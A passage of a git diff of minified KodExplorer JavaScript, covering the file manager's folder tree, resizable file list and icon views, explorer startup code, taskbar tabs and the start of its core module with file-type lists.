n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime; +"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable"),0===t.exists&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),g()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]<t[a])&&(i[a]=e[a])})},n=function(){if(!r()){var e=jsonEncode(i);LocalData.set("resize_config",e),$.get("index.php?setting/set&k=resize_config&v="+e)}},o=function(e){if("icon"!=G.user_config.list_type){e||(e=i);var a="",n=0;$.each(e,function(e,i){0==e.indexOf("file")&&(t[e]>=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),i=n>=i?n:i,i=i>=o?o:i;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(i),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,_=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,_="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var v="div.fileList_icon div.file{max-height:"+m+"px;}"+_+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",s),t&&f(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),f(i(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}); \ No newline at end of file diff --git a/static/js/app/src/explorer/main.js b/static/js/app/src/explorer/main.js index 543b578..68ff36d 100755 --- a/static/js/app/src/explorer/main.js +++ b/static/js/app/src/explorer/main.js @@ -1,9 +1,9 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","./ui","./fileContent","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","./path","./fileLight","./fileSelect","./fileListResize","./headerAddress"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",TreeId:"folderList",pageApp:"explorer",treeAjaxURL:"index.php?explorer/treeList&app=explorer",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("./ui"),ui.tree=e("../../common/tree"),ui.path=e("./path"),ui.fileLight=e("./fileLight"),ui.fileSelect=e("./fileSelect"),ui.fileListResize=e("./fileListResize"),ui.headerAddress=e("./headerAddress"),$(document).ready(function(){function t(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),i=window.location.search.substr(1).match(t);return null!=i?unescape(i[2]):null}core.init(),ui.init(),ui.tree.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),TaskTap.init(),rightMenu.initExplorer(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),"file_list"==t("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius"))})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,f=0,u=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),f=$tab_parent.width(),u=$tab_parent.get(0).getBoundingClientRect().left,u+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;u>n||n>u+f-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='<div class="tab taskBarMenu" id="'+t+'" title="'+a+'">'+i+"</div>";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},f=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),f(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 